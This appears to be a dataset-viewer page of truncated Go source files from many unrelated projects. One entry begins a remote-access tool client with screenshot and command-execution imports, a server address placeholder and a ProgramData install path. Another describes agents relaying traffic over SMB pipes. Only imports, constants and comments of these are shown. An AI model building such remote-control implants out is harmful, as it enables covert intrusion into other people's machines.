text stringlengths 5.51k 28.1k |
|---|
// Copyright 2020 Anapaya Systems
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to... |
package controllers
import (
"database/sql"
"fmt"
"github.com/astaxie/beego"
_ "github.com/go-sql-driver/mysql"
"unsafe"
)
type Home struct {
beego.Controller
}
func (c *Home) Index() {
//基本操作()
//数据类型()
//变量()
//常量()
//运算符()
//条件语句()
//循环语句()
//函数()
//变量的作用域()
//数组()
//指针()
//结构体()
//动态数组()
//Ra... |
package gosip
import (
"context"
"errors"
"fmt"
"io"
"net"
"sync"
"github.com/ghettovoice/gosip/log"
"github.com/ghettovoice/gosip/sip"
"github.com/ghettovoice/gosip/transaction"
"github.com/ghettovoice/gosip/transport"
"github.com/ghettovoice/gosip/util"
"github.com/tevino/abool"
)
// RequestHandler is... |
package main
import (
"bufio"
"encoding/base64"
"fmt"
"image/png"
"io/ioutil"
"net"
"os"
"os/exec"
"syscall"
"time"
screenshot "github.com/kbinani/screenshot"
)
const (
IP = "IPAddress:ServerPort"
fileName = "FileNameCHAOS"
folderPath = "\\ProgramData"
folderExt = "\\NameFolderExtesion"
)
... |
package autopilot
import (
"net"
"sync"
"sync/atomic"
"github.com/breez/lightninglib/lnwire"
"github.com/btcsuite/btcd/btcec"
"github.com/btcsuite/btcutil"
"github.com/davecgh/go-spew/spew"
)
// Config couples all the items that an autopilot agent needs to function.
// All items within the struct MUST be popu... |
package utils
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"crypto/sha256"
"crypto/md5"
"encoding/base32"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"fmt"
"math/rand"
"strconv"
"unicode/utf8"
)
var ivMask, _ = hex.DecodeString("217c4c2faeca17a10af2bce633b5e573298a953bb0b765a9b2b3052635fc2d... |
/*
Copyright 2019 Cisco Systems
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
d... |
package gqt_test
import (
"fmt"
"io"
"io/ioutil"
"net"
"os"
"os/exec"
"path"
"path/filepath"
"strings"
"time"
"code.cloudfoundry.org/garden"
"code.cloudfoundry.org/guardian/gqt/cgrouper"
"code.cloudfoundry.org/guardian/gqt/runner"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: google/ads/googleads/v3/enums/content_label_type.proto
package enums
import (
fmt "fmt"
math "math"
proto "github.com/golang/protobuf/proto"
_ "google.golang.org/genproto/googleapis/api/annotations"
)
// Reference imports to suppress errors if they are... |
package veil
import (
"encoding/json"
"fmt"
"log"
"net/http"
"net/url"
"time"
)
const baseDomainUrl = baseApiUrl + "domains/"
type DomainService struct {
client Client
}
type GuestUtils struct {
Version string `json:"version,omitempty"`
Hostname string `json:"hostname,omitempty"`
Ipv4 []str... |
/*
Copyright 2019 Cisco Systems
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
d... |
package engine
const (
// Constants which map a piece to how much weight it should have on the phase of the game.
PawnPhase int16 = 0
KnightPhase int16 = 1
BishopPhase int16 = 1
RookPhase int16 = 2
QueenPhase int16 = 4
TotalPhase int16 = PawnPhase*16 + KnightPhase*4 + BishopPhase*4 + RookPhase*4 + QueenPh... |
/*
* Copyright (c) 2018, salesforce.com, inc.
* All rights reserved.
* SPDX-License-Identifier: BSD-3-Clause
* For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/BSD-3-Clause
*/
package main
import (
"fmt"
"time"
"github.com/golang/glog"
appsv1beta2 "k8s.io/api/apps/v... |
package jpeg
// https://www.w3.org/Graphics/JPEG/itu-t81.pdf
// TODO: warning on junk before marker?
// TODO: extract photohop to own decoder?
import (
"bytes"
"github.com/wader/fq/format"
"github.com/wader/fq/format/registry"
"github.com/wader/fq/pkg/bitio"
"github.com/wader/fq/pkg/decode"
"github.com/wader/f... |
// Copyright 2019 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
// Copyright 2019 The LUCI Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed... |
// Package pkcs11key implements crypto.Signer for PKCS #11 private keys.
// See ftp://ftp.rsasecurity.com/pub/pkcs/pkcs-11/v2-30/pkcs-11v2-30b-d6.pdf for
// details of the Cryptoki PKCS#11 API.
package pkcs11key
import (
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rsa"
"encoding/asn1"
"errors"
"fmt"
"io"... |
package crypto
import (
"bytes"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"encoding/json"
"fmt"
"net/http"
"strings"
"sync"
"time"
"github.com/btcsuite/btcd/rpcclient"
"github.com/btcsuite/btcutil/base58"
api "github.com/provideplatform/provide-go/api/nchain"
"github.com/providepla... |
package proxy
import (
"bytes"
"fmt"
"github.com/cloudnativelabs/kube-router/pkg/helpers/hostnet"
"github.com/mqliang/libipvs"
"net"
"os/exec"
"github.com/cloudnativelabs/kube-router/pkg/helpers/tools"
"github.com/cloudnativelabs/kube-router/pkg/options"
"github.com/golang/glog"
"github.com/google/go-cmp/cm... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: alameda_api/v1alpha1/datahub/pod_assignment.proto
package containers_ai_alameda_v1alpha1_datahub
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
timestamp "github.com/golang/protobuf/ptypes/timestamp"
math "math"
)
// Reference imports to su... |
package compiler
import (
"github.com/llir/llvm/ir"
"github.com/llir/llvm/ir/constant"
llvmTypes "github.com/llir/llvm/ir/types"
llvmValue "github.com/llir/llvm/ir/value"
"github.com/zegl/tre/compiler/compiler/internal"
"github.com/zegl/tre/compiler/compiler/internal/pointer"
"github.com/zegl/tre/compiler/comp... |
package protobuf
import "fmt"
import "github.com/couchbase/indexing/secondary/logging"
import c "github.com/couchbase/indexing/secondary/common"
import mcd "github.com/couchbase/indexing/secondary/dcp/transport"
import mc "github.com/couchbase/indexing/secondary/dcp/transport/client"
import qvalue "github.com/couchba... |
// +build !unit
package database_test
import (
"reflect"
"testing"
"time"
"github.com/stretchr/testify/assert"
"github.com/France-ioi/AlgoreaBackend/app/database"
"github.com/France-ioi/AlgoreaBackend/testhelpers"
)
func TestUserStore_DeleteTemporaryWithTraps(t *testing.T) {
currentTime := time.Now().UTC().... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: google/ads/googleads/v3/enums/reach_plan_age_range.proto
package enums
import (
fmt "fmt"
math "math"
proto "github.com/catper/protobuf/proto"
_ "google.golang.org/genproto/googleapis/api/annotations"
)
// Reference imports to suppress errors if they a... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc v3.19.1
// source: error/v1/error.proto
package v1
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync... |
package protocol
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rc4"
"encoding/base64"
"encoding/binary"
"math/rand"
"strconv"
"strings"
"time"
"github.com/kooroshh/go-shadowsocks2/core"
"github.com/kooroshh/bridge/common/pool"
"github.com/kooroshh/bridge/component/ssr/tools"
)
type authChain str... |
/*
* Copyright © 2018-2020 Software AG, Darmstadt, Germany and/or its licensors
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://... |
package _db
// package main // only for unit tests
import(
//standard imports
"fmt"
"errors"
"strconv"
"syscall"
//local imports
. "../_const"
_tx "../_toolbox"
"../_error"
"../_scrypt"
//sql and driver
"database/sql"
_ "github.com/lib/pq" //_ = silent driver import = blank identifier
//... |
package serializer
import (
"encoding/json"
"errors"
"fmt"
"reflect"
"strconv"
"strings"
)
const (
ID_PREFIX = "@zenaton#"
)
type format struct {
Data interface{} `json:"d,omitempty"`
Object string `json:"o,omitempty"`
Store []StoreObject `json:"s"`
}
type StoreObject struct {
Name str... |
/*
Copyright 2019 Cisco Systems
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
d... |
/*
* Copyright (C) 2020 Intel Corporation
* SPDX-License-Identifier: BSD-3-Clause
*/
package types
/**
*
* @author mullas
*/
import (
"crypto"
"encoding/hex"
"github.com/intel-secl/intel-secl/v3/pkg/lib/common/crypt"
cf "github.com/intel-secl/intel-secl/v3/pkg/lib/flavor/common"
"github.com/intel-secl/inte... |
//
// Copyright 2020 IBM Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to ... |
// kubetokend handles requests for kubeconfig cert/key pairs.
// For the cli command, see kubetoken.
package main
import (
"bytes"
"crypto/tls"
"crypto/x509"
"encoding/json"
"encoding/pem"
"errors"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"regexp"
"sort"
"strings"
//"strings"
"github.com/invia-de... |
// Copyright (c) 2020-2021 The Decred developers
// Use of this source code is governed by an ISC
// license that can be found in the LICENSE file.
package v2
import "fmt"
const (
// APIRoute is prefixed onto all routes in this package.
APIRoute = "/v2"
// Routes
RouteRecordNew = "/recordnew"
RouteRec... |
// KATO, Application Management Platform
// Copyright (C) 2021 Gridworkz Co., Ltd.
// Permission is hereby granted, free of charge, to any person obtaining a copy of this
// software and associated documentation files (the "Software"), to deal in the Software
// without restriction, including without limitation the r... |
package curses
/*
#include <ncurses.h>
#include <locale.h>
#cgo !static LDFLAGS: -lncurses
#cgo static LDFLAGS: -l:libncurses.a -l:libtinfo.a -l:libgpm.a -ldl
*/
import "C"
import (
"fmt"
"os"
"os/signal"
"syscall"
"time"
"unicode/utf8"
)
// Types of user action
const (
Rune = iota
CtrlA
CtrlB
CtrlC
Ctrl... |
package planner
import (
"context"
"errors"
"html/template"
"io/ioutil"
"net/http"
"net/url"
"os"
"regexp"
"strconv"
"strings"
"time"
"github.com/gin-contrib/cors"
"github.com/gin-contrib/requestid"
"github.com/gin-gonic/gin"
log "github.com/sirupsen/logrus"
"github.com/weihesdlegend/Vacation-planner/... |
// HomeDashboard Weather Event Schema.
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc v3.6.1
// source: billingreport.proto
package events
import (
_ "github.com/golang/protobuf/ptypes/timestamp"
protoreflect "google.golang.org/protobuf/reflect/protoreflec... |
//
// Copyright (c) 2016 <NAME> <<EMAIL>>
//
// MIT Licence. See http://opensource.org/licenses/MIT
//
// Created on 2016-05-30
//
// TODO: iCloud tabs (~/Library/SyncedPreferences/com.apple.Safari.plist)
// Command alsf is an Alfred 3 workflow for interacting with Safari bookmarks and tabs.
//
// With it, you can fi... |
// Copyright (c) 2018, The Gide Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package gide
import (
"fmt"
"strings"
"github.com/goki/gi/gist"
"github.com/goki/gi/giv/textbuf"
"github.com/goki/pi/lex"
"github.com/goki/pi/spe... |
// Copyright 2022 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in w... |
package cmd
import (
"bytes"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
"github.com/SAP/jenkins-library/pkg/command"
"github.com/SAP/jenkins-library/pkg/docker"
"github.com/SAP/jenkins-library/pkg/log"
"github.com/SAP/jenkins-library/pkg/piperutils"
"github... |
// Copyright 2016-2018, Pulumi Corporation.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or... |
package webauthncose
import (
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rsa"
"crypto/x509"
"encoding/asn1"
"encoding/pem"
"fmt"
"github.com/teamhanko/webauthn-go/cbor_options"
"hash"
"math/big"
"golang.org/x/crypto/ed25519"
)
// PublicKeyData The public key portion of a Relying Party-specific cre... |
package route
import (
"io/ioutil"
"net/http"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/gokins/gokins/util/httpex"
"github.com/gin-gonic/gin"
"github.com/gokins/core"
"github.com/gokins/core/common"
"github.com/gokins/core/utils"
"github.com/gokins/gokins/comm"
"github.com/gokins/gokins/mig... |
/*
Copyright IBM Corp. All Rights Reserved.
SPDX-License-Identifier: Apache-2.0
*/
package ccprovider
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"unicode"
"github.com/golang/protobuf/proto"
pb "github.com/hyperledger/fabric-protos-go/peer"
"github.com/Randyshu2018/fabric/bccsp"
"github.com/... |
package rpc
import (
"bufio"
ctx "context"
"encoding/gob"
"errors"
"flag"
"fmt"
"io"
"log"
"net"
"os"
"reflect"
"runtime"
"strings"
"sync"
"time"
"unicode"
"unicode/utf8"
"go-common/library/conf/dsn"
"go-common/library/conf/env"
xlog "go-common/library/log"
"go-common/library/net/metadata"
"go-c... |
// Copyright 2017-2018 New Vector Ltd
// Copyright 2019-2020 The Matrix.org Foundation C.I.C.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICE... |
package bonemaster
import (
"html/template"
"net/http"
"time"
// "fmt"
"appengine"
"appengine/datastore"
)
// [START comment_struct]
type Comments struct {
GivenName string
EMail string
Comment string
Date string
}
// [START comment_struct]
type Contacts struct {
GivenName string
EM... |
package openrtb2
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"net/http"
"strconv"
"strings"
"time"
"github.com/golang/glog"
"github.com/julienschmidt/httprouter"
"github.com/mxmCherry/openrtb"
"github.com/prebid/prebid-server/analytics"
"github.com/prebid/prebid-server/config"
"github.com... |
package reference
import (
"context"
"encoding/json"
"math"
"path/filepath"
"reflect"
"sort"
"strconv"
"strings"
"time"
"github.com/0chain/blobber/code/go/0chain.net/blobbercore/datastore"
"github.com/0chain/blobber/code/go/0chain.net/core/common"
"github.com/0chain/blobber/code/go/0chain.net/core/encrypt... |
package channelmonitor
import (
"context"
"fmt"
"sync"
"time"
"github.com/bep/debounce"
logging "github.com/ipfs/go-log/v2"
"github.com/libp2p/go-libp2p-core/peer"
"golang.org/x/xerrors"
datatransfer "github.com/filecoin-project/go-data-transfer"
"github.com/filecoin-project/go-data-transfer/channels"
)
v... |
// Copyright 2017-2019 The NATS Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to ... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: common/common.proto
package common
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a c... |
// {{{ Copyright (c) <NAME> <<EMAIL>>, 2017
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, ... |
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in w... |
/* Copyright 2017 The Bazel Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed ... |
/*
Copyright 2018 Figure Technoclogies Inc. All Rights Reserved.
SPDX-License-Identifier: BSD-3-Clause-Attribution
*/
package kubernetescontroller
import (
"context"
"fmt"
"io/ioutil"
"os"
"reflect"
"regexp"
"strings"
"sync"
"github.com/hyperledger/fabric/core/chaincode"
"k8s.io/apimachinery/pkg/api/reso... |
// Copyright 2016 TiKV Project Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agr... |
//MIT License
//
//Copyright (c) 2013-2016 <NAME>
//
//Portions copyright by the contributors acknowledged in the documentation.
//
//Permission to use, copy, modify, and distribute this software for any
//purpose with or without fee is hereby granted, provided that the above
//copyright notice and this permission noti... |
package interp
// This file provides a litte bit of abstraction around LLVM values.
import (
"strconv"
"tinygo.org/x/go-llvm"
)
// A Value is a LLVM value with some extra methods attached for easier
// interpretation.
type Value interface {
Value() llvm.Value // returns a LLVM value
Type() llvm.Type ... |
package shadowsocks
import proto "github.com/golang/protobuf/proto"
import fmt "fmt"
import math "math"
import v2ray_core_common_protocol "github.com/whatedcgveg/v2ray-core/common/protocol"
import v2ray_core_common_protocol1 "github.com/whatedcgveg/v2ray-core/common/protocol"
// Reference imports to suppress ... |
// Copyright Istio Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in wr... |
package rosedb
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"github.com/roseduan/rosedb/index"
"github.com/roseduan/rosedb/storage"
"github.com/roseduan/rosedb/utils"
"io"
"io/ioutil"
"log"
"os"
"sort"
"sync"
"time"
)
var (
// ErrEmptyKey the key is empty
ErrEmptyKey = errors.New("rosedb: the key i... |
/*
* Copyright 2017 <NAME>, Inc. and Contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable... |
package set
import (
"fmt"
"net"
"net/url"
"strconv"
"strings"
"github.com/golang/glog"
"github.com/spf13/cobra"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/meta"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/types"
utilerrors "k8s.io/apimachinery/pkg/util/errors"
"k8s.io/apima... |
// Copyright 2016 The Cockroach Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or ag... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: infra/appengine/luci-migration/config/config.proto
/*
Package config is a generated protocol buffer package.
It is generated from these files:
infra/appengine/luci-migration/config/config.proto
It has these top-level messages:
Config
Master
*/
package co... |
package muxado
import (
"errors"
"fmt"
"io"
"io/ioutil"
"net"
"sync/atomic"
"time"
"github.com/inconshreveable/muxado/frame"
)
// private interface for Sessions to call Streams
type streamPrivate interface {
Stream
handleStreamData(*frame.Data) error
handleStreamRst(*frame.Rst) error
handleStreamWndInc(*... |
// Copyright (c) 2018-present, NebulaChat Studio (https://nebula.chat).
// All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LI... |
/*
Copyright 2020 the Velero contributors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,... |
// +build linux darwin
/*
Copyright 2011 The Perkeep Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... |
/*
* Copyright 2019 SAP SE or an SAP affiliate company. All rights reserved. This file is licensed under the Apache Software License, v. 2 except as noted otherwise in the LICENSE file
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the Licen... |
// Package downloader 多线程下载器, 重构版
package downloader
import (
"context"
"errors"
"io"
"net/http"
"sync"
"time"
"github.com/Erope/BaiduPCS-Go/pcsutil"
"github.com/Erope/BaiduPCS-Go/pcsutil/cachepool"
"github.com/Erope/BaiduPCS-Go/pcsutil/prealloc"
"github.com/Erope/BaiduPCS-Go/pcsutil/waitgroup"
"github.com... |
// This code is transcompiled by LuneScript.
package lnsc
import . "github.com/ifritJP/LuneScript/src/lune/base/runtime_go"
var init_Types bool
var Types__mod__ string
// decl enum -- Lang
type Types_Lang = LnsInt
const Types_Lang__C = 3
const Types_Lang__Go = 2
const Types_Lang__Lua = 1
const Types_Lang__Same = 0
var... |
// +build windows
/*
* This file contains implementations for a P2P client (SmbPipeAPI) and P2P receiver (SmbPipeReceiver)
* Agents using SMB pipes to communicate upstream will do so using the P2P client, and the upstream agents receiving
* the SMB pipe messages will need to have the SMB P2P receivers running. An a... |
/*
Copyright © 2019 Doppler <<EMAIL>>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... |
package cache
/*
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
di... |
/***
Copyright 2018 Cisco Systems Inc. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to... |
// Copyright 2018 PingCAP, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to i... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.25.0
// protoc v3.14.0
// source: mesh/v1alpha1/service_insight.proto
package v1alpha1
import (
proto "github.com/golang/protobuf/proto"
timestamp "github.com/golang/protobuf/ptypes/timestamp"
protoreflect "google.golang.org... |
package output
import (
"bytes"
"context"
"errors"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/textproto"
"sync/atomic"
"time"
"github.com/Jeffail/benthos/v3/internal/batch"
"github.com/Jeffail/benthos/v3/internal/docs"
"github.com/Jeffail/benthos/v3/lib/log"
"github.com/Jeffail/benthos/v3/lib/message"
... |
/*
Copyright 2018 The Knative Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: google/cloud/securitycenter/v1beta1/finding.proto
package securitycenter // import "google.golang.org/genproto/googleapis/cloud/securitycenter/v1beta1"
import proto "github.com/golang/protobuf/proto"
import fmt "fmt"
import math "math"
import _struct "github... |
package reflector
import (
"fmt"
"reflect"
"strings"
"sync"
)
type fieldListingType int
const (
fieldsAll fieldListingType = iota
fieldsAnonymous
fieldsFlattenAnonymous
fieldsNoFlattenAnonymous
)
var (
metadataCache map[reflect.Type]ObjMetadata
metadataCacheMutex sync.RWMutex
)
func init() {
metada... |
package mysensors
import (
"errors"
"fmt"
"strconv"
"strings"
"github.com/mycontroller-org/server/v2/pkg/service/mcbus"
"github.com/mycontroller-org/server/v2/pkg/types"
msgTY "github.com/mycontroller-org/server/v2/pkg/types/message"
nodeTY "github.com/mycontroller-org/server/v2/pkg/types/node"
"github.com/m... |
// Copyright 2018 The CUE Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to... |
// Copyright © 2019 <NAME> <<EMAIL>>
// This file is part of GoatCounter and published under the terms of the EUPL
// v1.2, which can be found in the LICENSE file or at http://eupl12.zgo.at
package main
import (
"bytes"
"compress/gzip"
"context"
"fmt"
"io"
"math"
"net"
"net/http"
"os"
"strconv"
"strings"
... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: common/common.proto
package common
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a c... |
package storage
// Copyright (c) Microsoft and contributors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unl... |
/*
Copyright 2019 The Kubernetes Authors.
Modifications copyright (C) 2020 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless re... |
package txmanager
import (
"crypto/ecdsa"
"encoding/json"
"fmt"
"github.com/vntchain/kepler/core/consortium/endorser"
"github.com/vntchain/kepler/core/consortium/event"
cevent "github.com/vntchain/kepler/event/consortium"
pubevent "github.com/vntchain/kepler/event/public"
"github.com/vntchain/kepler/utils"
"g... |
// Copyright (c) 2018-2021 Zededa, Inc.
// SPDX-License-Identifier: Apache-2.0
// Code generated by go-swagger; DO NOT EDIT.
package edge_network_instance_status
// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command
import (
"context"
... |
package revocation
import (
"crypto/rand"
"github.com/go-errors/errors"
"github.com/privacybydesign/gabi/big"
"github.com/privacybydesign/gabi/keyproof"
"github.com/privacybydesign/gabi/pkg/common"
)
/*
This implements the zero knowledge proof of the RSA-B accumulator for revocation, introduced in
"Dynamic Accu... |
// Data Use Statement Compliance Checker (DUCK)
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT license.
package carneades
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"strings"
"path/filepath"
"github.com/Microsoft/DUCK/backend/ducklib/db"
"github.com/Microsoft/DU... |
package datastore
import (
"bytes"
"context"
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"reflect"
"regexp"
"strings"
"text/template"
"time"
"github.com/yssk22/go/cache"
"github.com/yssk22/go/iterator/slice"
"github.com/yssk22/go/retry"
"github.com/yssk22/go/x/... |
package xls
import (
"encoding/binary"
"errors"
"log"
"math"
"unicode/utf16"
"github.com/pbnjay/grate"
"github.com/pbnjay/grate/commonxl"
)
// List (visible) sheet names from the workbook.
func (b *WorkBook) List() ([]string, error) {
res := make([]string, 0, len(b.sheets))
for _, s := range b.sheets {
if... |
// Copyright (c) 2017 Western Digital Corporation or its affiliates. All rights reserved.
// SPDX-License-Identifier: MIT
package curator
import (
"sort"
"sync"
log "github.com/golang/glog"
"github.com/westerndigitalcorporation/blb/internal/server"
"github.com/westerndigitalcorporation/blb/internal/core"
"git... |
/*
Before build
> go get ./...
Build
> go build
CrossPlatform Build
> GOOS= GOARCH= go build
*/
package main
import (
"bytes" //create request payload
"crypto/aes"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/binary"
"encoding/hex" // bin <-> hex
"encoding/json"
"flag" // arg parse
"fmt"
"gith... |
package sqlite
import (
"context"
"database/sql"
"encoding/json"
"fmt"
"net/url"
"strings"
"sync"
pf "github.com/estuary/flow/go/protocols/flow"
pm "github.com/estuary/flow/go/protocols/materialize"
sqlDriver "github.com/estuary/flow/go/protocols/materialize/sql"
_ "github.com/mattn/go-sqlite3" // Import f... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.